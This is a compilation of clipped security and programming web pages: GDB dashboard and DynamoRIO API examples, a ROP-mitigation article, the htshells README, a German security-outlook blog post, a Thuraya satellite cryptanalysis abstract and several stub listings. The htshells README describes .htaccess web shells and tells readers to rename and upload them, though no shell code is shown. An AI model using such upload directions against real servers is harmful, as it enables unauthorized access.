  3. ` name ` is the name of the attribute of the Python object, defaults to the key value.
  4. ` type ` is the type of this attribute, it is used to coerce the value passed as an argument to the proper type, or raise an exception. This key defaults to the ` str ` type.
  5. ` check ` is a control callback which accept the coerced value and returns ` True ` if the value satisfies the constraint and ` False ` otherwise. This key is optional, when omitted no check is performed.

Optionally, a module may declare subcommands by defining the ` commands `
method returning a dictionary in which the key is the command name and the
value is another dictionary:

  1. ` action ` is the callback to be executed which accepts the raw input string from the GDB prompt. Callbacks may raise exceptions to notify erroneous situations which message will be shown automatically to the user.
  2. ` doc ` is the command documentation.
  3. ` completion ` is the completion policy, one of the ` gdb.COMPLETE_* ` constants defined in the reference manual. This key is optional and defaults to ` None ` which is equivalent to ` gdb.COMPLETE_NONE `.

### Common functions

A number of auxiliary common functions are defined in the global scope, they
can be found in the provided ` .gdbinit ` and concern topics like ANSI output,
divider formatting, conversion callbacks, etc. They should be more or less
self-documented, some usage examples can be found within the bundled default
modules.

### Example

Default modules already provide a good example, but here is a simple module
which may be used as a template for new custom modules, it allows the
programmer to note down some snippets of text during the debugging session.

[code]

    class Notes(Dashboard.Module):
        """Simple user-defined notes."""
    
        def __init__(self):
            self.notes = []
    
        def label(self):
            return 'Notes'
    
        def lines(self):
            out = []
            for note in self.notes:
                out.append(note)
                if self.divider:
                    out.append(divider())
            return out[:-1] if self.divider else out
    
        def add(self, arg):
            if arg:
                self.notes.append(arg)
            else:
                raise Exception('Cannot add an empty note')
    
        def clear(self, arg):
            self.notes = []
    
        def commands(self):
            return {
                'add': {
                    'action': self.add,
                    'doc': 'Add a note.'
                },
                'clear': {
                    'action': self.clear,
                    'doc': 'Remove all the notes.'
                }
            }
    
        def attributes(self):
            return {
                'divider': {
                    'doc': 'Divider visibility flag.',
                    'default': True,
                    'type': bool
                }
            }
[/code]

To use the above just save it in a Python file, say ` notes.py `, inside `
~/.gdbinit.d/ `, the the following commands \(together with the help\) will be
available:

[code]

    normaldashboard notes
    dashboard notes add
    dashboard notes clear
    dashboard notes -style
    normal
[/code]

## Resources

  * GDB Python API

## License

Copyright \(c\) 2015 Andrea Cardaci cyrus.and@gmail.com

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files \(the "Software"\), to
deal in the Software without restriction, including without limitation the
rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

  

# DynamoRIO API

**Created:**| _9/20/2009 2:21:23 PM_  
---|---  
**Updated:**| _9/20/2009 2:21:43 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification binary instrumentation Tutorials_  
  

## Code Manipulation API Examples

### Instruction Counting

We now illustrate how to use the above API to implement a simple
instrumentation client for counting the number of executed call and return
instructions in the input program. Full code for this example is in the file
samples/countcalls.c.

The client maintains set of three counters: num\_direct\_calls,
num\_indirect\_calls, and num\_returns to count three different types of
instructions during execution. It keeps both thread-private and global
versions of these counters. The client initializes everything by supplying the
following dr\_init routine:

[code]

    DR_EXPORT void 
    dr_init(client_id_t id)
    {
      /* register events */
      dr_register_exit_event(event_exit);
      dr_register_thread_init_event(event_thread_init);
      dr_register_thread_exit_event(event_thread_exit);
      dr_register_bb_event(event_basic_block);
    
      /* make it easy to tell, by looking at log file, which client executed */
      dr_log(NULL, LOG_ALL, 1, "Client 'countcalls' initializing\n");
    }
    
    
[/code]

The client provides an event\_exit routine that displays the final values of
the global counters as well as a thread\_exit routine that shows the counter
totals on a per-thread basis.

The client keeps track of each thread's instruction counts separately. To do
this, it creates a data structure that will be separately allocated for each
thread:

[code]

    typedef struct {
      int num_direct_calls;
      int num_indirect_calls;
      int num_returns;
    } per_thread_t;
    
    
[/code]

Now the thread hooks are used to initialize the data structure and to display
the thread-private totals :

[code]

    static void event_thread_init(void *drcontext)
    {
      /* create an instance of our data structure for this thread */
      per_thread *data = (per_thread *)
        dr_thread_alloc(drcontext, sizeof(per_thread));
      /* store it in the slot provided in the drcontext */
      dr_set_tls_field(drcontext, data);
      data->num_direct_calls = 0;
      data->num_indirect_calls = 0;
      data->num_returns = 0;
      dr_log(drcontext, LOG_ALL, 1, "countcalls: set up for thread %d\n",
             dr_get_thread_id(drcontext));
    }
    
    static void event_thread_exit(void *drcontext)
    {
      per_thread *data = (per_thread *) dr_get_tls_field(drcontext);
    
      ... // string formatting and displaying
    
      /* clean up memory */
      dr_thread_free(drcontext, data, sizeof(per_thread));
    }
    
    
[/code]

The real work is done in the basic block hook. We simply look for the
instructions we're interested in and insert an increment of the appropriate
thread-local and global counters, remembering to save the flags, of course.
This sample has separate paths for incrementing the thread private counts for
shared vs. thread-private caches \(see the -thread\_private option\) to
illustrate the differences in targeting for them. Note that the shared path
would work fine with private caches.

[code]

    static void
    insert_counter_update(void *drcontext, instrlist_t *bb, instr_t *where, int offset)
    {
      /* Since the inc instruction clobbers 5 of the arithmetic eflags,
     we have to save them around the inc. We could be more efficient
     by not bothering to save the overflow flag and constructing our
     own sequence of instructions to save the other 5 flags (using
     lahf) or by doing a liveness analysis on the flags and saving
     only if live.
       */
      dr_save_arith_flags(drcontext, bb, where, SPILL_SLOT_1);
    
      /* Increment the global counter using the lock prefix to make it atomic
     across threads. It would be cheaper to aggregate the thread counters
     in the exit events, but this sample is intended to illustrate inserted
     instrumentation.
       */
      instrlist_meta_preinsert(bb, where, LOCK(INSTR_CREATE_inc
        (drcontext, OPND_CREATE_ABSMEM(((byte *)&global_count) + offset, OPSZ_4))));
    
      /* Increment the thread private counter. */
      if (dr_using_all_private_caches()) {
        per_thread_t *data = (per_thread_t *) dr_get_tls_field(drcontext);
        /* private caches - we can use an absolute address */
        instrlist_meta_preinsert(bb, where, INSTR_CREATE_inc(drcontext, 
            OPND_CREATE_ABSMEM(((byte *)&data) + offset, OPSZ_4)));
      } else {
        /* shared caches - we must indirect via thread local storage */
        /* We spill xbx to use a scratch register (we could do a liveness
     analysis to try and find a dead register to use). Note that xax
     is currently holding the saved eflags. */
        dr_save_reg(drcontext, bb, where, REG_XBX, SPILL_SLOT_2);
        dr_insert_read_tls_field(drcontext, bb, where, REG_XBX);
        instrlist_meta_preinsert(bb, where,
            INSTR_CREATE_inc(drcontext, OPND_CREATE_MEM32(REG_XBX, offset)));
        dr_restore_reg(drcontext, bb, where, REG_XBX, SPILL_SLOT_2);
      }
    
      /* restore flags */
      dr_restore_arith_flags(drcontext, bb, where, SPILL_SLOT_1);
    }
    
    static dr_emit_flags_t
    event_basic_block(void *drcontext, void *tag, instrlist_t *bb,
                      bool for_trace, bool translating)
    {
      instr_t *instr, *next_instr;
    
      ... // some logging
    
      for (instr = instrlist_first(bb); instr != NULL; instr = next_instr) {
        /* grab next now so we don't go over instructions we insert */
        next_instr = instr_get_next(instr);
    
        /* instrument calls and returns -- ignore far calls/rets */
        if (instr_is_call_direct(instr)) {
          insert_counter_update(drcontext, bb, instr,
                                offsetof(per_thread_t, num_direct_calls));
        } else if (instr_is_call_indirect(instr)) {
          insert_counter_update(drcontext, bb, instr,
                                offsetof(per_thread_t, num_indirect_calls));
        } else if (instr_is_return(instr)) {
          insert_counter_update(drcontext, bb, instr,
                                offsetof(per_thread_t, num_returns));
        }
      }
    
      ... // some logging
    
      return DR_EMIT_DEFAULT;
    }
    
    
[/code]

**Building the Example**

For general instructions on building a client, see Building a Client.

To build the `instrcalls.c` client using CMake, if `DYNAMORIO_HOME` is set to
the base of the DynamoRIO release package:

[code]

    mkdir build
    cd build
    cmake -DDynamoRIO_DIR=$DYNAMORIO_HOME/cmake $DYNAMORIO_HOME/samples
    make instrcalls
    
    
[/code]

The result is a shared library instrcalls.dll or libinstrcalls.so. To invoke
the client library, follow the instructions under Deployment.

### Instruction Profiling

The next example shows how to use the provided control flow instrumentation
routines, which allow more sophisticated profiling than simply counting
instructions. Full code for this example is in the file samples/instrcalls.c.

As in the previous example, the client is interested in direct and indirect
calls and returns. The client wants to analyze the target address of each
dynamic instance of a call or return. For our example, we simply dump the data
in text format to a separate file for each thread. Since FILE cannot be
exported from a DLL on Windows, we use the DynamoRIO-provided file\_t type
that hides the distinction between FILE and HANDLE to allow the same code to
work on Linux and Windows . We make use of the thread initialization and exit
routines to open and close the file. We store the file for a thread in the
user slot in the drcontext.

[code]

    static void event_thread_init(void *drcontext)
    {
      /* we're going to dump our data to a per-thread file */
      file_t f;
      char logname[512];
    
      ... // filename generation
    
      f = dr_open_file(fname, false/*write*/);
      DR_ASSERT(f != INVALID_FILE);
    
      /* store it in the slot provided in the drcontext */
      dr_set_tls_field(drcontext, (void *)f);
    
      ... // logging
    }
    
    static void event_thread_exit(void *drcontext)
    {
      file_t f = (file_t)(ptr_uint_t) dr_get_tls_field(drcontext);
      dr_close_file(f);
    }
    
    
[/code]

The basic block hook inserts a call to a procedure for each type of
instruction, using the API-provided dr\_insert\_call\_instrumentation and
dr\_insert\_mbr\_instrumentation routines, which insert calls to procedures
with a certain signature.

[code]

    static dr_emit_flags_t 
    event_basic_block(void *drcontext, void *tag, instrlist_t *bb,
                      bool for_trace, bool translating)
    {
      instr_t *instr, *next_instr;
    
      ... // logging
    
      for (instr = instrlist_first(bb); instr != NULL; instr = next_instr) {
        next_instr = instr_get_next(instr);
        if (!instr_opcode_valid(instr))
            continue;
        /* instrument calls and returns -- ignore far calls/rets */
        if (instr_is_call_direct(instr)) {
            dr_insert_call_instrumentation(drcontext, bb, instr, (app_pc)at_call);
        } else if (instr_is_call_indirect(instr)) {
            dr_insert_mbr_instrumentation(drcontext, bb, instr, (app_pc)at_call_ind,
                                          SPILL_SLOT_1);
        } else if (instr_is_return(instr)) {
            dr_insert_mbr_instrumentation(drcontext, bb, instr, (app_pc)at_return,
                                          SPILL_SLOT_1);
        }
      }
      return DR_EMIT_DEFAULT;
    }
    
    
[/code]

These procedures look like this :

[code]

    static void
    at_call(app_pc instr_addr, app_pc target_addr)
    {
      file_t f = (file_t)(ptr_uint_t) dr_get_tls_field(dr_get_current_drcontext());
      dr_mcontext_t mc;
      dr_get_mcontext(dr_get_current_drcontext(), &mc, NULL);
      dr_fprintf(f, "CALL @ "PFX" to "PFX", TOS is "PFX"\n",
                 instr_addr, target_addr, mc.xsp);
    }
    
    static void
    at_call_ind(app_pc instr_addr, app_pc target_addr)
    {
      file_t f = (file_t)(ptr_uint_t) dr_get_tls_field(dr_get_current_drcontext());
      dr_fprintf(f, "CALL INDIRECT @ "PFX" to "PFX"\n", instr_addr, target_addr);
    }
    
    static void
    at_return(app_pc instr_addr, app_pc target_addr)
    {
      file_t f = (file_t)(ptr_uint_t) dr_get_tls_field(dr_get_current_drcontext());
      dr_fprintf(f, "RETURN @ "PFX" to "PFX"\n", instr_addr, target_addr);
    }
    
    
[/code]

The address of the instruction and the address of its target are both
provided. These routines could perform some sort of analysis based on these
addresses. In our example we simply print out the data.

### Modifying Existing Instrumentation

In this example, we show how to update or replace existing instrumentation
after it executes. This ability is useful for clients performing adaptive
optimization. In this example, however, we are interested in recording the
direction of all conditional branches, but wish to remove the overhead of
instrumentation once we've gathered that information. This code could form
part of a dynamic CFG builder, where we want to observe the control-flow edges
that execute at runtime, but remove the instrumentation after it executes.

While DynamoRIO supports direct fragment replacement, another method for re-
instrumentation is to flush the fragment from the code cache and rebuild it in
the basic block event callback. In other words, we take the following
approach:

  1. In the basic block event callback, insert separate instrumentation for the taken and fall-through edges.
  2. When the basic block executes, note the direction taken and flush the fragment from the code cache.
  3. When the basic block event triggers again, insert instrumentation only for the unseen edge. After both edges have triggered, remove all instrumentation for the cbr.

We insert separate clean calls for the taken and fall-through cases. In each
clean call, we record the observed direction and immediately flush the basic
block using dr\_flush\_region\(\). Since that routine removes the calling
block, we redirect execution to the target or fall-through address with
dr\_redirect\_execution\(\). The file samples/cbr.c contains the full code for
this sample.

### Optimization

For the next example we consider a client application for a simple
optimization. The optimizer replaces every increment/decrement operation with
a corresponding add/subtract operation if running on a Pentium 4, where the
add/subtract is less expensive. For optimizations, we are less concerned with
covering all the code that is executed; on the contrary, in order to amortize
the optimization overhead, we only want to apply the optimization to hot code.
Thus, we apply the optimization at the trace level rather than the basic block
level. Full code for this example is in the file samples/inc2add.c.

### Custom Tracing

This example demonstrates the custom tracing interface. It changes DynamoRIO's
tracing behavior to favor making traces that start at a call and end right
after a return. It demonstrates the use of both custom trace API elements :

[code]

    int query_end_trace(void *drcontext, void *trace_tag, void *next_tag);
    bool dr_mark_trace_head(void *drcontext, void *tag);
    
    
[/code]

Full code for this example is in the file samples/inline.c.

### Use of Floating Point Operation in a Client

Because saving the floating point state is very expensive, DynamoRIO seeks to
do so on an as needed basis. If a client wishes to use floating point
operations it must save and restore the application's floating point state
around the usage. For an inserted clean call out of the code cache, this can
be conveniently done using dr\_insert\_clean\_call\(\) and passing true for
the save\_fpstate parameter. It can also be done explicitly using these
routines:

[code]

    void proc_save_fpstate(byte *buf);
    void proc_restore_fpstate(byte *buf);
    
    
[/code]

These routines must be used if floating point operations are performed in non-
inserted-call locations, such as event callbacks. Note that there are
restrictions on how these methods may be called: see the documentation in the
header files for additional information. Note also that the floating point
state must be saved around calls to our provided printing routines when they
are used to print floats. However, it is not necessary to save and restore the
floating point state around floating point operations if they are being used
in the initialization or termination routines.

This example client counts the number of basic blocks processed and keeps
statistics on their average size using floating point operations. Full code
for this example is in the file samples/bbsize.c.

### Use of Custom Client Statistics with the Windows GUI

The new Windows GUI will display custom client statistics, if they are placed
in shared memory with a certain name. The samplesamples/stats.c gives code for
the protocol used in the form of a sample client that counts total
instructions, floating-point instructions, and system calls.

### Use of Standalone API

The binary tracedump reader also functions as an example of IA-32/AMD64
Disassembly Library : samples/tracedump.c.

### Other examples

The sample samples/strace.c displays how to use the system call events and API
routines.

The sample samples/signal.c demonstrates how to use the signal event.

The sample samples/prefetch.c demonstrates modifying the dynamic code stream
for compatibilty between different processor types.

The sample samples/div.c demonstrates profiling the types of values fed to a
particular opcode.

The sample samples/empty.c is provided as an example client that does nothing.

* * *
<img src='img/Temp2_2482' /> DynamoRIO API version 1.4.0 --- Wed May 6
14:37:45 2009  <img src='img/Temp2_2482' />

# InfoSec Research: Destroying ROP gadgets with Inline code

**Created:**| _6/30/2014 10:37:45 AM_  
---|---  
**Updated:**| _6/30/2014 10:37:45 AM_  
**Author:**| __  
**Tags:**| _rop mitigations_  
  

# Destroying ROP gadgets with Inline code

Prerequisite Reading:  
Previous ROP \(Return Oriented Programming\) article

Traditionally in computer science, software developers using higher level
languages and abstractions should not need to think about how the lower levels
of the system works. For example, when writing a network application, one
should ideally not need to worry about how the sequence numbers of the TCP
protocol works. Two possible exceptions to this rule could be for security and
performance. For security specifically, learning about instruction sequences
emitted by compilers might help to avoid writing higher level \(C/C++\) code
that could be used in ROP exploits.

Normal non-inline functions have a binary code layout where multiple callers
execute x86 "call" instructions to redirect execution to the address of the
single instance of the non-inline function code in memory. However, an inline
function in C/C++ is function whose emitted code is inserted by the compiler
directly into the possibly multiple call sites of that function throughout the
program. An example follows:

\#include<Windows.h>

LPVOID notInlined\(\)

return VirtualAlloc\(NULL, 4096, MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE\);

\_\_forceinline LPVOID inlined\(\)

return VirtualAlloc\(NULL, 4096, MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE\);

main\(\)

notInlined\(\);//a call instruction will be placed here

inlined\(\);//the function’s code itself will be placed here

//some additional code here

VirtualAlloc is a function that can be abused by ROP exploits to allocate
Readable, Writeable and Executable memory. As shown in the C code above, the
functions notInlined and inlined both call VirtualAlloc. Except for the
\_\_forceinline keyword in inlined, both notInlined and inlined are exactly
identical in the C code. However, the binary code layout of each function
looks very different.  
  
notInlined disassembly:

pushebp

movebp, esp

push40h

push1000h

push1000h

push0

calldword ptr\[inlined\!\_imp\_\_VirtualAlloc\(0121b000\)\]

popebp

main function disassembly:

pushebp

movebp, esp

callinlined\!ILT + 0\(\_notInlined\)\(011f1005\)

push40h //this

push1000h //is

push1000h //code

push0 //of

calldword ptr\[inlined\!\_imp\_\_VirtualAlloc\(0121b000\)\] //inlined

//some additional code here

xoreax, eax

popebp

In the above disassembly, the code for notInlined is in its own function as we
would expect, and can be executed and returned from, by an x86 “call”
instruction from anywhere in the program. However, the disassembly for the
inlined function \(in red text\) is placed _inline_ in the main function \(the
call site\).

The significance of the differing in-binary layouts of the two functions is
that notInlined contains a very useful ROP gadget that ROP exploits can use,
whereas the code for inlined does not contain the same ROP gadget. This
difference is due to the fact that there is no x86 “ret” instruction in the
code of inlined. If a ROP chain tried to execute inlined, if would be much
more difficult to return from inlined back to the ROP chain.

In summary, the inline keyword can be used as an architecture, compiler, and
OS portable way to destroy ROP gadgets in code where often abused APIs are
called. The cost of inlining code however, is that it increases the code size
in the binary. The reason for a larger code size in the example above is that
if inlined was called from a large number of places in the program, the full
code of inlined would be inserted in the binary that many times. As with all
exploit mitigation schemes, there still might be ways to bypass this technique
such as using jmp instructions rather than ret instructions to chain together
gadgets.

References:

http://msdn.microsoft.com/en-us/library/z8y1yy88.aspx

# wireghoul/htshells - GitHub

**Created:**| _5/23/2011 2:47:21 PM_  
---|---  
**Updated:**| _5/23/2011 2:47:21 PM_  
**Author:**| __  
**Tags:**| _web-app-sec_  
  

README

[code]

    HTSHELLS - Self contained .htaccess web "shells"
    Pick the one you need and rename it to .htaccess and upload it.
    
    Some notes on the shells
    - htaccess.php
      PHP based web shell access via http://domain/path/.htaccess
    
    - htaccess.ssi
      Server Side Include based web shell, access via http://domain/path/.htaccess
    
    - htaccess.server-info
      This is not a genuine shell, but rather a self contained information disclosure attack
    
    - htaccess.server-status
      This is not a genuine shell, but rather a self contained information disclosure attack
    
    Wireghoul - http://www.justanotherhacker.com
[/code]

# computec.ch: News

**Created:**| _9/10/2010 9:45:33 AM_  
---|---  
**Updated:**| _9/10/2010 9:45:33 AM_  
**Author:**| _wishi_  
**Tags:**| _arrrg_  
  
Die Zukunft der angewandten IT-Sicherheit \(Montag, 6. September 2010 -
09:13:49\)  
---  
<img src='img/marcs_blog.gif' /> \[Marc's Blog\] Vor einiger Zeit ist jemand
in meinem privaten Umfeld auf mich zugekommen und hat mich gefragt, wie sich
wohl mein Berufsstand entwickeln wird. Ich habe darauf entgegnet, dass
einerseits Sicherheitsberatungen im Allgemeinen und Sicherheitsüberprüfungen
im Speziellen massgeblich von den generischen Entwicklungen im Computerbereich
abhängig sind. Andererseits geht mit diesen eine soziologische,
wirtschaftliche und juristische Entwicklung einher, die indirekten Einfluss
ausüben wird.  
  
Gerne möchte ich meine Prognosen für die kommenden Jahre vortragen. Dabei
beschränke ich mich bewusst auf die angewandte IT-Sicherheit, der natürlich
die theoretische IT-Sicherheit zugrunde liegt.  
  
**5 Jahre: Erneuerte Lehren und erweitertes Verständnis**  
  
Auch im Jahre 2010 trete ich immerwieder an Situationen heran, bei denen ich
mir jeweils denke, dass man das vielleicht noch hätte 1995 durchgehen lassen
können, der Sachverhalt aber in der heutigen Zeit nicht mehr tragbar und
rechtfertigbar ist. Zum Beispiel dann, wenn in einem Finanzunternehmen eine
forensische Untersuchung wegen Betrugs ansteht und sich die letzten Jahre
niemand um die Etablierung, Aufrechterhaltung und Auswertung von Logs bemüht
hat.  
  
Ähnlich, jedoch nicht gleich, verhält es sich beim Umgang der Leute mit ihrer
Privatsphäre. In der Epoche von Facebook, Twitter und Foursquare wird
Exhibitionismus und Narzissmus gross geschrieben. Eigenschaften, die vor 10
Jahren noch als Manko angesehen wurden, werden heute gesellschaftlich
toleriert, bisweilen gar erwünscht. Die kaufkräftige Generation der 14- bis
30-jährigen geht dabei sehr blauäugig mit ihren Daten um. Sind sie oftmals zu
Jung, um sich an die Widerstände der 90er Jahre erinnern zu können, als sich
der kritische Bürger in Bezug auf Volkszählungen und die Fichenaffäre empört
hat. \(Daran hat auch die Fichenaffäre 2.0 nichts geändert.\)  
  
Gerade die Generation Facebook wird wohl in absehbarer Zeit durch Datenpannen,
Datendiebstahl und Datenverkäufe schmerzlich erfahren müssen, was ihre
personenbezogenen Daten wert sind bzw. wie diese einem schaden können. Erste
Anzeichen einer Kritik am laxen und fahrlässigen Umgang der Seitenbetreiber -
allen voran Mark Zuckerberg von Facebook - sind in Blogs und Zeitungen zu
vernehmen.  
  
Als Folge davon wird der moderne Mensch bewusster mit seinen Daten umgehen,
diese sensibler klassifizieren und deshalb nur noch einem ausgewählten
Personenkreis zugänglich machen wollen. Die Abgabe der Kontrolle über Daten
wird zunehmends verweigert werden wollen. Im selben Atemzug werden die
Unternehmen unter diesem Druck bzw. vor diesem Bedürfnis teilweise nachgeben
müssen. Datensicherheit und Informationssicherheit wird zu einem zentralen
Bestandteil der gesellschaftlichen, wirtschaftlichen und juristischen Ordnung
werden - Wenn auch vorerst nur in unliebsamer und zaghafter Weise.  
  
**15 Jahre: Weiterführende Automatisierung und Industrialisierung**  
  
Die angewandte Computersicherheit hat in den letzten 20 Jahren eine enorme
Automatisierung und damit die Möglichkeit einer Industrialisierung erfahren.
Dies ist sehr schön am Beispiel von Sicherheitsüberprüfungen zu illustrieren.
Zu Beginn musste in mühsamer Weise mit manuellen Zugriffen eine Analyse
umgesetzt werden. Werkzeuge wie Ping und Traceroute wurden eingesetzt, um
einzelne Systeme zu testen.  
  
Heutzutage können verschiedene Auswertungs- und Scanning-Utilities genutzt
werden, die eine Sammlung der Grunddaten automatisieren oder wenigstens
erleichtern. Eine einstündige Prüfung mit einem modernen Vulnerability Scanner
hätte vor 15 Jahren noch mehrere Wochen gedauert. Durch die Automatisierung
kann in der gesamten Computersicherheit die Wirtschaftlichkeit und
Wissenschaftlichkeit erhöht werden.  
  
Dieser Trend wird sich fortsetzen, obschon in den letzten Jahren eine gewisse
Müdigkeit diesbezüglich festgestellt werden musste. Die Aufbruchsstimmung vor
10 Jahren konnte nicht anhalten, viele Projekte wurden kommerzialisiert und
entwickeln sich deshalb langsamer oder konservativer. Zwar werden fortwährend
neue Applikationen bereitgestellt, die die Umsetzung von Prüfungen
professionalisieren helfen. Aufgrund des kommerziellen Hintergrunds dieser
Lösungen sind sie jedoch nur für einen begrenzten Kreis von Benutzern
interessant.  
  
**30 Jahre: Neue Konzepte und andere Herangehensweisen**  
  
Längerfristig wird sich der Bereich der Computersicherheit zu grossen Teilen
verändern. Dies wird in erster Linie damit zu tun haben, dass
Systemarchitekturen und Sicherheitskonzepte mit gänzlich anderen
Herangehensweisen erstellt werden. Die Denkweise der Entwickler wird sich in
grossen Teilen ändern und damit alte Angriffsmechanismen nicht mehr oder nur
noch punktuell funktionieren.  
  
So werden beispielsweise Eingabeüberprüfungen für "allgemeine" Anwendungen,
wie zum Beispiel ein Webshop, sehr einfach und undiskutierbar implementierbar
sein. Durch Module und Frameworks werden Vorlagen geliefert, mit denen
Programmierer auch ohne grösseres Sicherheitsverständnis innert kürzester Zeit
eine überdurchschnittliche Qualität erreichen können.  
  
Geschlossene Systeme, können sich denn diese auch weiterhin breitflächig
durchsetzen \(siehe Apple mit iOS\), helfen dabei, die Angriffsfläche für eine
Vielzahl an technisch schwierig zu mitigierenden Schwachstellen zu
eliminieren. Das Einschleusen von korruptem Programmcode, welches früher oder
später im Rahmen eines umfassenden Angriffs erforderlich werden wird, wird
damit massgeblich erschwert. Als wahrgenommene Restrisiken wird damit
schlussendlich nur noch Social Engineering übrig bleiben, welches aufgrund des
Faktor Mensch nie gänzlich eliminiert werden kann.  
  
Als elementare Grundlage dieser neuen Ära wird der gänzlich andere Ansatz
"Security First" dienen. Funktionalität wird nicht mehr pauschal und primär
über Sicherheit gesetzt, da die Risiken einer Kompromittierbarkeit und die
direkten Auswirkungen der Produktivität verstanden und akzeptiert werden.
Dadurch können grundsolide Systeme konzipiert werden, die eine Anfälligkeit
gegenüber "Patchwork-Lösungsansätzen" ausschliessen lassen können.

# IT Security and Hacking knowledge base - SecDocs

**Created:**| _5/1/2011 5:43:03 PM_  
---|---  
**Updated:**| _5/1/2011 5:43:03 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

Paper details

**Title**| **Revolutionizing the Field of Grey-box Attack Surface Testing with
Evolutionary Fuzzing**  
---|---  
Type|  Paper  
Tags|  fuzzing  
Abstract|  \---  
Authors|  Jared DeMott  
Submitted| May 01, 2011  
Rating|

  *   *   *   *   * 
Currently 0/5 stars \(0 votes\).  
**Correlation**  
Linked to|

  * \[Slides\] Revolutionizing the Field of Grey-box Attack Surface Testing with Evolutionary Fuzzing
  * \[Paper\] Revolutionizing the Field of Grey-box Attack Surface Testing with Evolutionary Fuzzing
  * \[Video\] Revolutionizing the Field of Grey-box Attack Surface Testing with Evolutionary Fuzzing
  * \[Audio\] Revolutionizing the Field of Grey-box Attack Surface Testing with Evolutionary Fuzzing
  * \[Slides\] Revolutionizing the Field of Grey-box Attack Surface Testing with Evolutionary Fuzzing

  
Event|  Black Hat USA 2007  
Resource|  \---  
**Download**  
Source| bh-usa-07-demott\_enbody\_and\_punch-WP.pdf  
Size| 531.3 KB  
MD5| 0c17c78b29c9afe5d554cdb87708cdd5  
SHA1| 744dc0ddb31ab9cf673b4afdf93f12c4196452c3  
  

# Program Analysis and Testing using Efficient Satisfiability Modulo Theories
Solving — Яндекс.События

**Created:**| _12/15/2012 10:43:04 PM_  
---|---  
**Updated:**| _1/24/2013 9:15:01 AM_  
**Author:**| __  
**Tags:**| _sat SMT_  
  

| _ _| |   | Войти  
---|---  
   
| поиск | _ _ Найти   
---|---  
   
   
  
|

  *   

| | <img src='http://avatars.yandex.net/get-yaevents/df64817e1e7bc5edcb71c04a738f5ab5/120x120' />Nikolaj Bjorner, Microsoft ResearchProgram Analysis and Testing using Efficient Satisfiability Modulo Theories Solving37:23Yet another Conference 2012microsoftz3математикаматематика в компьютерных наукахThis talk describes the Satisfiability Modulo Theories \(SMT\) solver, Z3, from Microsoft Research. Z3 is a state-of-the art theorem prover that integrates specialized solvers for domains that are of relevance for program analysis, testing and verification. Z3 is a compelling integral component of such tools because these tools rely on reasoning about program states and transformations between states in ways that are slightly disguised as SMT problems.We describe uses of Z3, including the Windows 7 static driver verifier, the SAGE white-box fuzzer for finding security vulnerabilities, a cloud service security policy checker, the Pex test-case generation tool, a verifying C compiler and JavaScript malware detection, among others. We also give some background on the foundations and technologies used in modern high-performance theorem provers.Download in .pdfDownload video 284,3 MB|  _ __ _ Поделиться… _ _  
---|---  


##

# sduverger/ramooflax - GitHub

**Created:**| _6/9/2011 11:20:30 AM_  
---|---  
**Updated:**| _6/9/2011 11:20:30 AM_  
**Author:**| __  
**Tags:**| _virtusalisation_  
  

das pre-boot übervisor — Read more

# Cryptology ePrint Archive: Report 2012/051

**Created:**| _2/8/2012 1:33:29 PM_  
---|---  
**Updated:**| _2/8/2012 1:33:31 PM_  
**Author:**| __  
**Tags:**| _attacks research crypto DSP_  
  

## Cryptology ePrint Archive: Report 2012/051

**Eavesdropping on Satellite Telecommunication Systems**

_Benedikt Driessen_

**Abstract:** While communication infrastructures rapidly intertwine with our
daily lives, public understanding of underlying technologies and privacy
implications is often limited by their closed-source nature. Lacking the
funding and resources of corporations and the intelligence community,
developing and expanding this understanding is a sometimes tedious, but
nonetheless important process. In this sense, we document how we have
decrypted our own communication in the Thuraya satellite network. We have used
open-source software to build on recent work which reverse-engineered and
cryptanalized both stream ciphers currently used in the competing satellite
communication standards GMR-1 and GMR-2. To break Thuraya’s encryption \(which
implements the GMR-1 standard\) in a real-world scenario, we have enhanced an
existing ciphertext-only attack. We have used common and moderately expensive
equipment to capture a live call session and executed the described attack. We
show that, after computing less than an hour on regular PC-hardware, we were
able to obtain the session key from a handful of speech data frames. This
effectively allows decryption of the entire session, thus demonstrating that
the Thuraya system \(and probably also SkyTerra and TerreStar, who are
currently implementing GMR-1\) is weak at protecting privacy.

**Category / Keywords:** implementation /

**Date:** received 2 Feb 2012, last revised 8 Feb 2012

**Contact author:** benedikt driessen at rub de

**Available formats:**PDF | BibTeX Citation
**Note:** Added some clarification to distinguish between decrypting and
actually listening to a call. Minor editorial tweaks \(more probably to
come..\).

**Version:** 20120208:085225 \(All versions of this report\)

**Discussion forum: **Show discussion | Start new discussion

# Entwurf: Spektralanalyse mit der FFT - Mikrocontroller.net

**Created:**| _5/20/2012 4:21:53 PM_  
---|---  
**Updated:**| _5/20/2012 4:21:53 PM_  
**Author:**| __  
**Tags:**| _DSP Gnuradio_  
  

# Entwurf: Spektralanalyse mit der FFT

<img src='img/Temp2_2730.png' width='150' height='131' /> **Baustelle** Dieser
Artikel wird gerade erstellt oder es werden umfangreiche Änderungen daran
vorgenommen. Die Informationen können noch unvollständig oder inkorrekt sein.
Bevor du größere Änderungen vornimmst, stimme Dich bitte über die
Diskussionsseite mit den Autoren darüber ab.  
